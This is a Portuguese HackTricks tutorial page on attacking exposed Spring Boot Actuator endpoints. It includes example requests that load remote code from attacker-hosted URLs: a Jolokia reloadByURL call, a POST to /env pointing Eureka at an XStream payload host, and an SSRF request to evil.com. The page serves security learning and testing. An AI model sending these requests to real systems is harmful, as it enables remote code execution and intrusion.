# Spring Actuators {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** šŸ’¬ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** šŸ¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĆ³rios do github.
{% endhint %} {% endhint %} ## **Spring Auth Bypass**
**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* ## Exploiting Spring Boot Actuators **Verifique a postagem original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Pontos Chave:** * Spring Boot Actuators registra endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versƵes 1 a 1.4, esses endpoints sĆ£o acessĆ­veis sem autenticaĆ§Ć£o. A partir da versĆ£o 1.5, apenas `/health` e `/info` sĆ£o nĆ£o sensĆ­veis por padrĆ£o, mas os desenvolvedores frequentemente desativam essa seguranƧa. * Certos endpoints do Actuator podem expor dados sensĆ­veis ou permitir aƧƵes prejudiciais: * `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`. * No Spring Boot 1.x, os actuators sĆ£o registrados sob a URL raiz, enquanto no 2.x, eles estĆ£o sob o caminho base `/actuator/`. ### **TĆ©cnicas de ExploraĆ§Ć£o:** 1. **ExecuĆ§Ć£o Remota de CĆ³digo via '/jolokia'**: * O endpoint do actuator `/jolokia` expƵe a Biblioteca Jolokia, que permite acesso HTTP a MBeans. * A aĆ§Ć£o `reloadByURL` pode ser explorada para recarregar configuraƧƵes de log de uma URL externa, o que pode levar a XXE cega ou ExecuĆ§Ć£o Remota de CĆ³digo via configuraƧƵes XML manipuladas. * URL de exemplo para exploraĆ§Ć£o: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **ModificaĆ§Ć£o de ConfiguraĆ§Ć£o via '/env'**: * Se as Bibliotecas Spring Cloud estiverem presentes, o endpoint `/env` permite a modificaĆ§Ć£o de propriedades ambientais. * As propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de desserializaĆ§Ć£o do XStream no Eureka serviceURL. * Exemplo de requisiĆ§Ć£o POST para exploraĆ§Ć£o: ``` POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Outras ConfiguraƧƵes ƚteis**: * Propriedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` podem ser manipuladas para vĆ”rias exploraƧƵes, como injeĆ§Ć£o SQL ou alteraĆ§Ć£o de strings de conexĆ£o de banco de dados. ### **InformaƧƵes Adicionais:** * Uma lista abrangente de actuators padrĆ£o pode ser encontrada [aqui](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). * O endpoint `/env` no Spring Boot 2.x usa o formato JSON para modificaĆ§Ć£o de propriedades, mas o conceito geral permanece o mesmo. ### **TĆ³picos Relacionados:** 1. **Env + H2 RCE**: * Detalhes sobre a exploraĆ§Ć£o da combinaĆ§Ć£o do endpoint `/env` e do banco de dados H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF no Spring Boot AtravĆ©s da InterpretaĆ§Ć£o Incorreta de Nomes de Caminho**: * O manuseio de parĆ¢metros de matriz (`;`) pelo framework Spring em nomes de caminho HTTP pode ser explorado para Server-Side Request Forgery (SSRF). * Exemplo de requisiĆ§Ć£o de exploraĆ§Ć£o: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** šŸ’¬ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** šŸ¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĆ³rios do github.
{% endhint %} {% endhint %}